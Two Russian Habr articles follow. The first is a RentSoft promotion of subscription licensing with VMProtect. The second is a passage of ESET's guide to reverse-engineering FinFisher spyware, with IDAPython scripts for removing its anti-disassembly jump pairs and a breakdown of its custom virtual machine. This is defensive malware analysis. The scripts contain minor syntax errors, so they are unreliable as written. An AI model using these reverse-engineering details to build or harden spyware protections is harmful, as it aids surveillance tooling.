Ясно, что второй способ лучше защищен от кражи ключа: ведь разработчик может контролировать количество активаций. Наличие «обратной связи» в этом случае обязательно: пользователь должен как-то сообщить разработчику свой ключ и другую информацию о себе, а разработчик — передать разрешение активации. Раньше, когда интернет еще не был столь распространен, все делалось **по телефону**: пользователь звонил в службу поддержки, диктовал свой ключ и, например, *идентификатор оборудования* своего компьютера. Взамен ему сообщали *код активации* — некоторую последовательность символов, которая, будучи введена в программу вместе с ключом, активирует ее.
Обратите внимание, что в данном примере в качестве «дополнительной информации о себе» использовался идентификатор оборудования — хэш-код, более-менее уникально идентифицирующий машину пользователя. У того, кто ключ украдет, этот хэш-код будет уже другим, так что, позвонив в службу поддержки, он ничего не добьется — там поймут, что производится попытка повторной активации.
#### Активация через интернет
С приходом интернета в каждый дом необходимость в телефонных звонках отпала: теперь программа сама «звонит» на так называемый *сервер лицензий* разработчика, «диктует» ему ключ и код оборудования, а взамен ей «сообщают» код активации, которым сама себя и активирует. По этой схеме сейчас работает подавляющее большинство программ, и она довольно надежна.
В общем, у нас образовались следующие сущности:
1. **Ключ:** то, что выдается пользователю при покупке.
2. **Идентификатор оборудования:** некоторое число, с той или иной степенью уникальности характеризующая компьютер пользователя (на разных компьютерах оно будет разным).
3. **Код активации:** закодированное «разрешение» программе запуститься, если пользователь имеет «на руках» определенный ключ и определенный идентификатор оборудования.
4. **Сервер лицензий:** некоторый сервер в интернете, подконтрольный разработчику и умеющий по паре «ключ» + «идентификатор оборудования» возвращать пользователю код активации.
Очень важно понимать, чем Ключ отличается от Кода активации. Они связаны между собой через Идентификатор оборудования, что обеспечивает гарантию невозможности использования одного и того же Ключа одновременно на разных машинах.
#### Открытый и закрытый ключ: асимметричная цифровая подпись
Казалось бы, можно вычислять значение `activationCode = md5(key + hardwareID)`: в этом случае и сервер лицензии сможет его сгенерировать, и программа у клиента — проверить правильность.
Однако здесь кроется серьезная опасность: раз сервер лицензий может вычислить это значение, то и злоумышленник — тоже. А значит, злоумышленник может сделать свой собственный сервер лицензий, «подставить» его вместо исходного и… получить неограниченный контроль над программой. Что же делать?
Говорят, что у каждой сложной задачи есть одно простое, логичное, легкое для понимания… неправильное решение. В данном случае таким неправильным решением была бы формула
`activationCode = md5(key + hardwareID + salt)`
где `salt` — некоторая «секретная» строка, известная только серверу лицензий разработчика.
> Вообще, значение `S = md5(X + salt)` называют «цифровой подписью данных `X` **с солью** `salt`». Проверить цифровую подпись `S` означает снова вычислить `md5(X + salt)`, уже на другой стороне, и сравнить результат с `S`: если совпало, то подпись верна, если нет — то имеет место подделка.
>
>
К сожалению, такой трюк с «солью» не пройдет, потому что программа у клиента тоже должна иметь возможность вычислить значение `md5(key + hardwareID + salt)`, а значит, `salt` должен быть «вшит» в нее изначально. Конечно же, злоумышленник сможет дизассемблировать продукт и найти в нем `salt`, после чего организовать поддельный сервер лицензий. Мы вернулись к тому же, с чего начинали.
Но решение есть, и называется оно *DSA*. Оказывается, существует такой алгоритм, который, грубо говоря, позволяет получать хэш-код `activationCode` при помощи одного значения `salt0`, а *проверять* «правильность» этого хэш-кода — уже с совершенно другим значением `salt1`. Значение `salt0` нужно держать в секрете — оно хранится только на сервере лицензий, в то время как `salt1` никакой ценности для злоумышленника не представляет — зная его, он все равно не сможет получить `salt0` и вычислить правильные коды активации.
Таким образом, сервер лицензий вычисляет цифровую подпись `activationCode = DSA(X, salt0)` и передает значение программе клиента, а программа — проверяет ее правильность при помощи алгоритма `DSA_check(activationCode, X, salt1)`. В этом случае `salt0` называют «закрытым ключом» (private key), а `salt1` — «публичным ключом» (public key). «Публичным» ключ называется потому, что его можно хоть в газете напечатать — это не нанесет вред безопасности.
> Подробности про алгоритм цифровой подписи DSA и основанный на том же принципе алгоритм шифрования данных RSA можно почитать в [Википедии](http://ru.wikipedia.org/wiki/RSA) на русском языке. Вкратце — принцип работы RSA основан на так называемой «проблеме факторизации» — сложности разложения больших чисел на множители. Действительно, имея два каких-нибудь 2000-значных простых числа `X` и `Y`, можно за микросекунду вычислить их 4000-значное произведение `S = X * Y`. Однако, имея это произведение `S` и не зная `X` или `Y` изначально, за время существования Вселенной невозможно восстановить исходные `X` и `Y`, из которых оно составлено. На качественном уровне можно считать, что для составления цифровой подписи DSA используются числа `X` и `Y` (закрытый ключ), а для проверки — общеизвестный `S`.
#### Вернемся снова к подписке
В самом начале мы говорили, что подписка — это просто более частое обращение к серверу лицензий, который возвращает все новые и новые коды активации, в то время как старые коды активации — устаревают. Для такого устаревания алгоритм создания кода активации должен быть более сложным: в коде как минимум «зашивают» даты начала и окончания срока его действия (начала — чтобы пользователь не переводил часы слишком уж назад).
Работа «подписочной» программы с сервером лицензий выглядит следующим образом:
1. Регулярно и в фоновом режиме программа делает попытку обращения к серверу лицензий, чтобы получить от него свежий код активации. На сервер передается ключ и идентификатор оборудования, упрощенно —
```
GET /license_server?key=abcdef&hwid=1234
```
2. Если попытка была неудачной, то ничего не происходит — никаких сообщений не выдается.
3. В случае же удачи свежий код активации, выданный сервером, записывается в какое-нибудь постоянное хранилище (например, в Реестр) — все равно он не представляет интереса для злоумышленника, т.к. он не сможет его использовать у себя (код активации зависит от идентификатора оборудования, который будет у злоумышленника другим).
4. Независимо от этого программа берет текущий код активации из постоянного хранилища и проверяет его **цифровую подпись**, используя ключ, идентификатор оборудования и открытый параметр salt1. Если код активации верен, то программа продолжает работать (возможно, попутно извлекая из кода какие-то необходимые данные — например, параметры шифрования кода виртуальной машины, как это делается в VMProtect).
Теперь, даже если интернет недоступен в течение нескольких дней, программа все равно будет работать — она извлечет текущий код активации из постоянного хранилища. И только если доступа в интернет нет длительное время, она заблокируется.
Т.е. при работе по подписке код активации запрашивается регулярно, а в случае работы «традиционной» схемы с активацией ключа — единоразово. В этом заключается техническое различие. Конечно, сервер лицензий должен работать надежно и выдерживать высокие нагрузки, поэтому у нас их две штуки в балансировке, написаны они на Java Netty — фреймворке для создания асинхронных веб-серверов, том самом, на который недавно перевел свой поиск Twitter. Но это уже тема для отдельной статьи.
### Пример создания подписочной версии вашей программы
Выше была теория о том, как может работать сервер лицензий, обслуживающий запросы на проверку статуса подписок. Теперь немного коснемся практики и посмотрим, как разработчики VMProtect Software реализовали эту теорию при создании подписочной версии протектора VMProtect для нашей [платформы RentSoft](http://rentsoft.ru/soft/?from=habr6).
#### Создание приложения HelloWorld и его MAP-файла
Для начала создадим программу типа «Hello, world!», которую и будем защищать VMProtect-ом. Будем использовать MS Visual Studio 2010: создадим в ней новый проект типа «Win32 Application» и назовем его HelloWorld. Главный файл будет выглядеть примерно вот так:
> #include "stdafx.h"
>
> …
>
> ATOM MyRegisterClass(HINSTANCE hInstance)
>
> { ... }
>
> …
>
> LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
>
> { ... }
>
> ...
Сразу переключим режим построения проекта на Release в Диспетчере конфигураций. После этого включим генерацию *MAP-файла*: он будет содержать адреса всех функций внутри EXE-файла, чтобы их смог потом найти VMProtect. Это делается в свойствах проекта, в русской версии путь такой: кликнуть правой кнопкой по имени проекта в Обозревателе решений, дальше выбрать Свойства конфигурации — Компоновщик — Отладка — Создавать файл сопоставления.
Теперь нажмем F5 и убедимся, что проект откомпилировался и запустился. Мы получили в директории Release 2 файла: `HelloWorld.exe` и `HelloWorld.map`, с которыми и будем работать.
[](http://rentsoft.ru/soft/add/?from=habr6)
#### Мастер регистрации продукта на сервере лицензий RentSoft
Подписочная версия программы работает в тесной связи с сервером лицензий, который, собственно, и занимается проверкой статуса ключа и определением, может программа работать или нет. Сервер лицензий должен иметь информацию о продукте: например, закрытый ключ RSA-шифрования и другие параметры лицензирования, так что продукт нужно на нем зарегистрировать.
Это довольно просто: по адресу [http://rentsoft.ru/soft/add/](http://rentsoft.ru/soft/add/?from=habr6) выбираем вариант «VMProtect RentSoft Edition (бесплатно для клиентов RentSoft)», вводим свой e-mail (подтверждать его, кстати, не потребуется) и попадаем в Мастер регистрации продукта. В нем мы вводим следующие данные:
* Название продукта, краткое и подробное описание (можно использовать HTML).
* Изображение коробки с продуктом (или его логотип).
* Выбираем желаемую стоимость подписки в месяц — например, 79 рублей.
После сохранения этой информации откроются следующие пункты мастера.
[](http://rentsoft.ru/soft/add/?from=habr6)
Файл лицензии необходим для привязки защищаемой программы к продукту, который мы только что зарегистрировали на сервере лицензий. Сохраните его в директорию с исходным кодом проекта — в нашем случае рядом с `HelloWorld.cpp`.
#### Запуск VMProtect для создания подписочной версии
Далее запустите VMProtect RentSoft Edition (ссылка на его скачивание его инсталлятора приведена на следующем шаге мастера). Это протектор EXE-файлов, созданный нашими партнерами — компанией VMProtect Software. Откройте через Файл — Открыть EXE-файл проекта `Release/HelloWorld.exe` и установите параметры, как на скриншоте (главное — укажите путь к файлу лицензии проекта):
[](http://rentsoft.ru/soft/add/?from=habr6)
Теперь перейдите на вкладку Процедуры для защиты и выберите на ней те процедуры и функции, которые хотите защитить VMProtect-ом (код этих процедур будет переведен в код виртуальной машины VMProtect и привязан к продукту, зарегистрированному ранее на сервере лицензий).
[](http://rentsoft.ru/soft/add/?from=habr6)
В нашем случае мы указали 2 функции: `MyRegisterClass` и `WndProc` — именно их теперь хакер не сможет «взломать». Обратите внимание: нужно выбрать Тип компиляции «Ультра» (самый надежный), а также поставить флажок «Привязать к серийному номеру» в «Да». Старайтесь защищать те функции программы, которые некритичны к производительности, потому что виртуальная машина работает, естественно, медленнее, чем «родной» процессор. (Не забудьте после всех манипуляций сохранить файл проекта VMProtect: в нем содержатся все опции, которые вы выбрали, чтобы при следующей защите не нужно было их выбирать заново: Файл — Сохранить проект как...)
> Что будет, если злоумышленник все же сможет расшифровать код виртуальной машины VMProtect для какой-то защищенной программы (что крайне сложно само по себе — вспомните, сколько попыток было расшифровать, например, Skype, который тоже использует технологию виртуализации кода)? Это не даст ему доступа к другим программам: ведь для работы виртуальной машины требуется информация, содержащаяся в коде активации, а она для каждой программы — разная. Так что, не имея кода активации, выданного сервером лицензий, заставить программу работать физически невозможно. Подделать сервер лицензий тоже не получится — помните про технологию открытых/закрытых ключей?
Наконец, выберем Проект — Компиляция и подождем несколько секунд. В результате рядом с `HelloWorld.exe` появится файл `HelloWorld.vmp.exe` — его защищенная версия. Именно этот файл и является «подписочной» версией вашего продукта.
#### Проверяем, что получилось
Если теперь запустить `HelloWorld.vmp.exe`, мы увидим вот что:
[](http://rentsoft.ru/soft/add/?from=habr6)
Т.е. программа при первом запуске просит пользователя ввести «код подписки», который он получил на одной из витрин RentSoft, когда подключил себе ваш продукт. Естественно, сервер лицензий RentSoft в курсе всех активных кодов подписки, что позволяет ему обрабатывать запросы от программы и проверять код, введенный пользователем.
Теперь нужно ввести код подписки. Где его взять для проверки? Мы могли бы здесь отправить читателя на витрину продукта и сказать «подпишитесь на продукт — получите код подписки», но можно поступить проще. Мастер регистрации продукта RentSoft, в котором мы только что находились, позволяет создавать **тестовые подписки** на сервере лицензий. Т.е. все, что вам требуется, — это нажать кнопку Создать в форме:
[](http://rentsoft.ru/soft/add/?from=habr6)
В итоге вы получите тестовый код подписки, который останется ввести в окно активации программы:
[](http://rentsoft.ru/soft/add/?from=habr6)
После этого программа запустится и больше не будет ничего спрашивать у пользователя до тех пор, пока на его счете имеются деньги (т.е. пока подписка активна).
#### Предположим, денег на счете для продления нет...
Что произойдет, когда у пользователя кончатся деньги и подписка заблокируется? Не обязательно ждать месяц, чтобы это увидеть: можно воспользоваться все той же формой работы с тестовыми подписками, которая теперь примет вот такой вид:
[](http://rentsoft.ru/soft/add/?from=habr6)
Заблокируйте тестовую подписку, после чего перезапустите программу дважды: во второй раз она заблокируется с выводом сообщения о недостатке средств на счете. (Почему дважды? Считайте, вам дается последний шанс воспользоваться продуктом перед тем, как он заблокируется.)
Возможно, вы спросите, что будет, если подписку заблокировать, а интернет — отключить, и уже после этого запустить программу. Тогда программа, естественно, не узнает, что она не может функционировать, и будет работать… но только следующие 5 дней. Через 5 дней программа потребует обязательный доступ в интернет и откажется запускаться, если связи не будет: истечет так называемый «период толерантности». Так что пользователь все равно должен будет пополнить свой счет, рано или поздно.
Что касается автоматической разблокировки при поступлении средств на счет, то вы можете проверить, как это работает, нажав кнопку «Включить» и перезапустив программу. Если связь с интернетом имеется, программа немедленно продолжит работу.
### В заключение — про наши каналы продаж
[](http://rentsoft.ru/partners/?from=habr6)Хорошая защита без высоких продаж имеет, разве что, академический интерес. Мы в RentSoft это понимаем, поэтому предоставляем разработчикам десктопного софта не только механизм подписочного лицензирования, но также и каналы продаж — витрины **полусотни** крупных интернет-провайдеров с общей абонентской базой более **4 млн человек**. К слову, когда мы опубликовали [предыдущую статью](http://habrahabr.ru/blogs/development/122385/), их было на 2 меньше: за неделю добавился крупный московский провайдер [NetByNet](http://podpiska.netbynet.ru/?from=habr6) и питерский [InterZet](http://podpiska.interzet.ru/?from=habr6) (ссылки ведут на наши витрины у них). В среднем у нас еженедельно прибывают по 2-3 провайдера, которые подключаются к нам полностью самостоятельно — мы уже не успеваем их модерировать.
Главное преимущество продажи **по схеме ежемесячной подписки** через интернет-провайдеров в том, что абоненты и так уже ежемесячно приносят провайдеру 400-500 рублей оплаты за интернет. Мы умеем списывать оплату за ПО (которое в этом случае выглядит, как дополнительная услуга провайдера) прямо со счета абонента. Поэтому, когда пользователь подключает вашу программу на сайте провайдера или в его личном кабинете, он оплачивает ее в том же чеке, которым платит за интернет! Одним словом, это очень эффективный канал.
Так что, если вы разрабатываете десктопный софт, но продаете его в основном на Запад, мы бесплатно предоставляем вам инструменты, чтобы попробовать продавать в России *по схеме ежемесячной подписки*. Мы, как любая платежная система, работаем за комиссию с совершенных пользователями транзакций, но, т.к. вы сами определяете ежемесячную цену на свой продукт, это не должно являться проблемой.
[Присоединяйтесь!](http://rentsoft.ru/soft/?from=habr6) | https://habr.com/ru/post/123908/ | null | ru | null |
# Как обнаружить FinFisher. Руководство ESET
Благодаря серьезным мерам противодействия анализу, шпионское ПО FinFisher оставалось малоизученным. Это известный инструмент слежки, тем не менее, по предыдущим образцам был опубликован только частичный анализ.
Ситуация стала меняться летом 2017 года после выполненного ESET анализа кампаний кибершпионажа FinFisher. В ходе исследования мы определили атаки с [участием в компрометации жертв интернет-провайдера](https://habr.com/company/eset/blog/338422/).
Когда мы начали анализ малвари, основные усилия были затрачены на преодоление мер по противодействию анализу FinFisher в ее версиях под Windows. Комбинация продвинутого обфусцирования и проприетарной виртуализации делает процесс снятия маскировки с FinFisher крайне трудным.
В данном руководстве мы делимся тем, чему научились в процессе анализа FinFisher. Кроме советов по анализу виртуальной машины FinFisher, руководство поможет понять защиту при помощи виртуальной машины в целом, то есть проприетарные виртуальные машины, обнаруживаемые в бинарном коде и используемые для защиты ПО.
Мы также проанализировали версии FinFisher под Android, механизм защиты которого основан на обфускаторе LLVM из открытого доступа. Он не так сложен и интересен, как механизм версий для Windows, поэтому в настоящем руководстве мы его обсуждать не будем.
Надеемся, что руководство будет полезно исследователям информационной безопасности и вирусным аналитикам для понимания инструментов и тактик FinFisher, а также для защиты клиентов от данной угрозы.
Меры против дизассемблирования
------------------------------
Открывая образец FinFisher в IDA Pro, мы замечаем в основной функции простой, но эффективный метод противодействия дизассемблированию, первую защиту.
FinFisher применяет распространенную технику против дизассемблирования – сокрытие хода исполнения путем подмены одной команды безусловного перехода двумя комплементарными условными переходами. Они указывают на одинаковую точку перехода, поэтому, вне зависимости от выполняемого перехода, порядок исполнения кода не меняется. После условных переходов идут бессмысленные байты кода. Они предназначены для того, чтобы сбить дизассемблер с толку, так как в нормальных условиях он не сможет распознать нерабочий участок и будет продолжать трудиться над дизассемблированием этого мусора.
Особенной эту малварь делает способ использования данной техники. В большинстве вредоносных программ, которые мы изучали, метод используется определенное количество раз. Однако FinFisher применяет этот трюк после каждой команды.
Эта защита очень эффективна против дизассемлера и запутывает его так, что множество участков кода не проходят процесс должным образом. И, конечно же, графический режим в IDA Pro использовать становится невозможно. Наша первая задача — избавиться от этой защиты.
Код явно был обфусцирован не вручную, а с помощью автоматического инструмента, и мы наблюдаем некий шаблон во всех парах команд перехода.
Есть два различных типа пар перехода – внутренний переход с отступом в 32 бита и короткий переход с отступом в 8 бит.
Код операции обоих условных внутренних переходов (где DWORD — отступ перехода) начинается с байта 0x0F, а вторые байты равняются 0x8?, где? в обоих командах перехода отличаются лишь на 1 бит. Это связано с тем, что коды операций x86 ОС для комплементарных переходов последовательны в числовом выражении. Например, эта схема обфусцирования всегда связывает в пару JE с JNE (опкоды 0x0F 0x84 и 0x0F 0x85), JP с JNP (опкоды 0x0F 0x8A и 0x0F 0x8B) и так далее.
После этих опкодов идет 32-битный аргумент, определяющий отступ, куда будет совершен переход. Так как размер обеих команд 6 байт, отступы двух последовательных переходов различаются ровно на 6 (см. рисунок 1).
*Рисунок 1. Скриншот с командами, после которых каждый раз идут два условных внутренних перехода*
К примеру, код, приведенный ниже, можно использовать для обнаружения этих двух последовательных переходов:
```
def is_jump_near_pair(addr):
jcc1 = Byte(addr+1)
jcc2 = Byte(addr+7)
# они начинаются как внутренние условные переходы?
if Byte(addr) != 0x0F || Byte(addr+6) != 0x0F:
return False
# тут точно 2 последовательных внутренних условных перехода?
if (jcc1 & 0xF0 != 0x80) || (jcc2 & 0xF0 != 0x80):
return False
# комплементарны ли эти условные переходы?
if abs(jcc1-jcc2) != 1:
return False
# указывают ли они на ту же точку перехода?
dst1 = Dword(addr+2)
dst2 = Dword(addr+8)
if dst1-dst2 != 6
return False
return True
```
Деобфусцирование коротких переходов основано на похожей идее, лишь константы отличаются.
Опкод короткого условного перехода равен 0x7?, за ним следует один байт – отступ перехода. Поэтому опять мы ищем два последовательных условных внутренних перехода, и нам нужны коды операций: 0x7?; отступ; 0x7? ± 1; отступ -2. После первого опкода идет один байт, отличающийся на 2 в двух последовательных переходах (которые, опять же, имеют размер обеих команд) (рисунок 2).
*Рисунок 2. Примеры команд, после которых каждый раз идут два коротких условных перехода*
Например, этот код может быть использован для обнаружения двух условных коротких переходов:
```
def is_jcc8(b):
return b&0xF0 == 0x70
def is_jump_short_pair(addr):
jcc1 = Byte(addr)
jcc2 = Byte(addr+2)
if not is_jcc8(jcc1) || not
is_jcc8(jcc2):
return False
if abs(jcc2–jcc1) != 1:
return False
dst1 = Byte(addr+1)
dst2 = Byte(addr+3)
if dst1 – dst2 != 2:
return False
return True
```
После обнаружения одной из этих пар условных переходов мы деобфусцируем код с помощью патча, превращая первый условный переход в безусловный (используя опкод 0xE9 для пар внутреннего перехода и 0xEB для пар короткого перехода) и заполняя оставшиеся байты пустыми командами (0x90)
```
def patch_jcc32(addr):
PatchByte(addr, 0x90)
PatchByte(addr+1, 0xE9)
PatchWord(addr+6, 0x9090)
PatchDword(addr+8,
0x90909090)
def patch_jcc8(addr):
PatchByte(addr, 0xEB)
PatchWord(addr+2, 0x9090)
```
Кроме этих двух ситуаций могут быть места, где пара переходов состоит из короткого и внутреннего, то есть разных типов. Но такое встречается только в нескольких местах, так что в образцах FinFisher это можно поправить вручную.
Используя эти вставки, IDA Pro начинает «понимать» новый код и готова (ну, или почти готова) к созданию диаграммы. Может так случиться, что нам потребуется выполнить еще одно улучшение: добавить окончания, то есть назначить ноду с указанием позиции перехода, чтобы на графике она совпадала с командой перехода. С этой целью мы можем использовать функцию IDA Python `append_func_tail`.
Последний шаг обхода трюков, мешающих нормальной работе дизассемблера, состоит во внесении исправлений в определения функций. Может случиться так, что командой после перехода будет `push ebp`, в случае чего IDA Pro (ошибочно) считает это началом функции и, соответственно, начинает новое ее определение. В этом случае нам необходимо удалить определение функции, сделать корректную запись и добавить еще окончания.
Таким образом мы снимаем первый уровень защиты FinFisher, предназначенный против дизассемблирования.
Виртуальная машина FinFisher
----------------------------
После успешного деобфусцирования первого уровня защиты нам открывается главная функция, единственная цель которой – запуск специально созданной виртуальной машины и ее дальнейшее использование для интерпретации байткода с, собственно, полезной нагрузкой.
В отличие от обычного исполняемого файла, исполняемый файл с виртуальной машиной внутри использует набор виртуализированных команд вместо непосредственного исполнения команд процессора. Виртуализированные команды исполняются виртуальным процессором, который имеет собственную структуру и не конвертирует байткод в неуправляемый машинный код. Этот виртуальный процессор, как и байткод (и виртуальные команды), определяются тем, кто программирует виртуальную машину (рисунок 3).
Во введении мы говорили, что одним из известных примеров виртуальной машины является Java VM. Но в этом случае виртуальная машина находится внутри бинарного кода, поэтому здесь мы сталкиваемся с виртуальной машиной для защиты от реверс-инжиниринга. Существуют известные коммерческие средства защиты с помощью виртуальной машины, такие как VMProtect и Code Virtualizer.
Шпионское ПО FinFisher компилируется из исходников, а затем полученный бинарный файл защищается виртуальной машиной на уровне ассемблера. Процесс защиты включает в себя перевод инструкций исходного бинарного файла в виртуальные инструкции, а затем создание нового бинарного файла, содержащего байт-код и виртуальный процессор. Нативные инструкции из исходного бинарного файла теряются. Защищенный, виртуализированный образец должен иметь то же поведение, что и незащищенный образец.
Для анализа бинарного файла, защищенного виртуальной машиной, необходимо следующее:
1. Проанализировать виртуальный ЦП
2. Написать собственный дизассемблер для этого нестандартного виртуального ЦП и пропарсить байткод
3. Опционально: скомпилировать дизассемблированный код в бинарный файл, избавившись от виртуальной машины.
Первые две задачи требуют много времени, а первая вообще может стать довольно сложной. Она включает анализ каждого обработчика *vm\_handler* и понимание того, как передаются регистры, доступ к памяти, вызовы и так далее.
*Рисунок 3. Байткод, интерпретируемый виртуальным ЦП*
### Термины и определения
Для определения отдельных частей виртуальной машины не существует стандарта. Поэтому мы определим некоторые термины, к которым будем обращаться в данной работе:
* Virtual machine (vm) –виртуальный ЦП; содержит *vm\_dispatcher, vm\_start, vm\_handlers*
* *vm\_start* – инициализация; здесь происходит выделение памяти и процесс дешифрования
* Bytecode (также известный, как pcode) – здесь хранятся виртуальные опкоды *vm\_instructions* с аргументами
* *vm\_dispatcher* – вызывает и декодирует виртуальные опкоды; по сути готовит к исполнению какого-либо из *vm\_handlers*
* *vm\_handler* – реализация *vm\_instruction*; исполнение одного *vm\_handler* означает исполнение одной *vm\_instruction*
* Interpreter (также известный, как *vm\_loop*) – *vm\_dispatcher* + *vm\_handlers* – виртуальный ЦП
* Virtual opcode – аналог нативных опкодов
* *vm\_context* (*vm\_structure*) – внутренняя структура, используемая интерпретатором
* *vi\_params* – структура внутри структуры *vm\_context*; параметры виртуальных команд, используемых *vm\_handler*; включает *vm\_opcode* и аргументы
В процессе интерпретации байткода виртуальная машина использует виртуальный стек и единый виртуальный регистр:
* *vm\_stack* – аналог нативного стека, используемого виртуальной машиной
* *vm\_register* – аналог нативного регистра, используемого данной виртуальной машиной; далее называется tmp\_REG
* *vm\_instruction* – команда, определяемая разработчиками виртуальной машины; тело (реализация) команды вызывается ее *vm\_handler*-ом
В следующих разделах мы опишем элементы виртуальной машины в технических подробностях и расскажем, как их анализировать.
Деобфусцированное графическое представление главной функции малвари состоит из трех частей: инициализации и двух других, которые мы назвали *vm\_start* и интерпретатор (*vm\_dispatcher* + *vm\_handlers*).
Компонент инициализации задает уникальный идентификатор того, что может быть интерпретировано как точка входа байт-кода, и помещает его в стек. Затем идет переход к части *vm\_start*, то есть процессу инициализации самой виртуальной машины. Происходит расшифровка байткода и контроль переходит к *vm\_dispatcher*, который запускает циклы виртуальных команд байткода и интерпретирует их при помощи *vm\_handlers*.
Запуск *vm\_dispatcher* происходит с команды pusha и оканчивается на команде `jmp dword ptr [eax+ecx*4]` (или похожей на нее), то есть переходом на соответствующий *vm\_handler*.
### Vm\_start
Графическая модель, создаваемая после деобфусцирования первого уровня, показана на рисунке 4. Часть, относящаяся к *vm\_start*, не столь важна для анализа интерпретатора. Однако она помогает понять реализацию виртуальной машины в целом, то, как она использует и управляет виртуальными флагами, виртуальным стеком, и т.д. Вторая часть — *vm\_dispatcher* с *vm\_handlers* – это основа.
*Рисунок 4. Графическое представление vm\_start и vm\_dispatcher*
Вызов к *vm\_start* производится из почти каждой функции, включая основную.
Вызывающая функция всегда пушит виртуальный идентификатор и затем совершает переход к *vm\_start*. Каждая виртуальная команда имеет собственный виртуальный идентификатор. В данном примере идентификатор виртуальной точки входа, откуда начинается исполнение из основной функции, равняется 0x21CD0554 (рисунок 5).
*Рисунок 5. vm\_start вызывается из каждой из 119 виртуализированных функций.*
Идентификатор первой виртуальной команды соответствующей функции приведен в качестве аргумента.
В этой части большая часть кода отведена подготовке *vm\_dispatcher* – в основном, байткода и выделению памяти для всего интерпретатора. Самые важные куски кода выполняют следующее:
1. Выделение для байткода и нескольких переменных 1 МБ памяти с разрешением на чтение, запись и исполнение.
2. Выделение 0x10000 байт с тем же разрешением для локальных переменных в виртуальной машине для текущей цепочки задач – *vm\_stack*.
3. Дешифровка по XOR (исключающее ИЛИ). Дешифрованный код распаковывается как aPLib. Процесс дешифровки в образце использует слегка модифицированную версию ключа XOR dword. Он пропускает первые шесть dword и затем применяет XOR для оставшихся пяти dword с использованием ключа. Ниже приведен алгоритм процесса (в дальнейшем мы называем его XOR decryption\_code):
```
int array[6];
int key;
for (i = 1; i < 6; i++) {
array[i] ^= key;
}
```
4. Вызов к процессу aPLib для распаковки байткода. После нее виртуальные опкоды все еще остаются зашифрованными (рисунок 6).
Подготовка виртуальных опкодов (шаги 1, 3 и 4) выполняется лишь раз, в начале, и пропускается в последующих исполнениях *vm\_start*, в то время как выполняются только команды на использование флагов и регистров.
*Рисунок 6. Весь код от vm\_start до vm\_dispatcher сгруппирован и назван в зависимости от назначения.*
Интерпретатор FinFisher
-----------------------
Эта часть включает *vm\_dispatcher* со всеми *vm\_handlers* (34 в образцах FinFisher) и является важным элементом для анализа и/или девиртуализации виртуальной машины. Интерпретатор исполняет байткод.
Команда `jmp dword ptr [eax+ecx*4]` производит переход к одной из 34 *vm\_handlers*. Каждый *vm\_handler* реализует одну команду виртуальной машины. Чтобы понять, что делает каждый из *vm\_handler*, нужно разобраться с *vm\_context* и *vm\_dispatcher*.
#### 1. Создание графической структуры в IDA
Лучше понять интерпретатор поможет создание хорошо структурированной диаграммы. Мы рекомендуем его разделение на две части – *vm\_start* и *vm\_dispatcher*, то есть нужно определить начало функции в первой команде *vm\_dispatcher*. В этом случае все еще отсутствуют сами *vm\_handlers*, на которые ссылается *vm\_dispatcher*. Для соединения этих обработчиков с диаграммой *vm\_dispatcher* можно использовать следующую функцию:
```
AddCodeXref(addr_of_jmp_instr,
vm_handler,XREF_USER|fl_JN)
```
добавление в начало *vm\_handlers* ссылок последней команды *vm\_dispatcher*
```
AppendFchunk
```
производит добавление в конце
После добавления каждого обработчика *vm\_handler* к функции диспетчера диаграмма выглядит так, как показано на рисунке 7 ниже.
#### 2. Vm\_dispatcher
Эта часть отвечает за обработку и декодирование байткода. Она выполняет следующие шаги:
* Исполняет команды `pusha` и `pusf` для подготовки виртуальных регистров и виртуальных флагов для последующего исполнения виртуальных команд
* Получает адрес программы в памяти и адрес *vm\_stack*
* Читает 24 байта байткода, определяющего следующую команду *vm\_instruction* и ее аргументы
* Дешифрует байткод с помощью ранее описанной процедуры XOR
* Добавляет адрес программы в памяти в качестве аргумента в байткоде в случае, если аргумент — это глобальная переменная
* Получает виртуальный опкод (число в диапазоне 0-33) из дешифрованного байткода
* Совершает переход к соответствующему обработчику *vm\_handler* который интерпретирует виртуальный опкод
После того, как *vm\_handler* для команды исполнен, повторяется та же последовательность для той, что следует за ней, начиная с первой команды *vm\_dispatcher*. В случае обработчика *vm\_call* управление передается *vm\_start* (кроме тех случаев, когда за ней следует невиртуализированная функция).
*Рисунок 7. Диаграмма vm\_dispatcher со всеми 34 vm\_handlers.*
#### 3. Vm\_context
В этой части мы опишем *vm\_context* – структуру, используемую виртуальной машиной, содержащую всю необходимую для исполнения *vm\_dispatcher* и каждого *vm\_handler* информацию.
При более детальном изучении кода *vm\_dispatcher* и *vm\_handlers* мы можем заметить, что в нем присутствуют команды, связанные с обработкой данных, ссылающиеся на `ebx+offset`, где offset — это число от 0x00 до 0x50. На рисунке 8 можно видеть, как выглядит основная часть vm\_handler 0x05 в одном из образцов FinFisher.
*Рисунок 8. Скриншот одного из vm\_handlers*
Регистр ebx указывает на структуру, которую мы назвали *vm\_context*. Нам необходимо понимание того, как используется эта структура – каковы ее члены, что они означают, и как применяются. Для решения этой задачи в первый раз придется угадывать, как используются *vm\_context* и его части.
Для примера давайте посмотрим на последовательность команд в конце *vm\_dispatcher*:
```
movzx ecx, byte ptr [ebx+0x3C]
// опкод для vm_handler
jmp dword ptr [eax+ecx*4]
// переход к одному из 34 vm_handlers
```
Так как мы знаем, что последняя команда — это переход к *vm\_handler*, мы можем заключить, что ecx содержит виртуальный опкод, и поэтому 0x3C элемент *vm\_struct* ссылается на виртуальный опкод.
Давайте сделаем еще одно небезосновательное предположение. В конце почти каждого vm\_handler есть следующая команда:
```
add dword ptr [ebx], 0x18.
```
Тот же элемент *vm\_context* был использован ранее в коде *vm\_dispatcher* – прямо перед переходом к *vm\_handler*. *vm\_dispatcher* копирует 24 байта из элемента структуры в другое место (`[ebx+38h]`) и дешифрует его по XOR с целью получить часть текущего байткода.
То есть мы можем начать считать элемент *vm\_context* (`[ebx+0h]`) указателем *vm\_instruction\_pointer*, а дешифрованное положение (от `[ebx+38h]` до `[ebx+50h]`) как ID виртуальной команды, ее виртуальный опкод и аргументы. Всей этой структуре мы дали название *vi\_params*.
После выполнения шагов выше и использования программы отладки мы видим, какие значения содержатся в соответствующих элементах структуры, то есть мы можем определить все элементы *vm\_context*.
После анализа мы можем восстановить структуры и *vm\_context*, и *vi\_params FinFisher’а*:
```
struct vm_context {
DWORD vm_instruct_ptr; // указатель команды к байткоду
DWORD vm_stack; // адрес vm_stack
DWORD tmp_REG; // используется как “регистр” в виртуальной машине
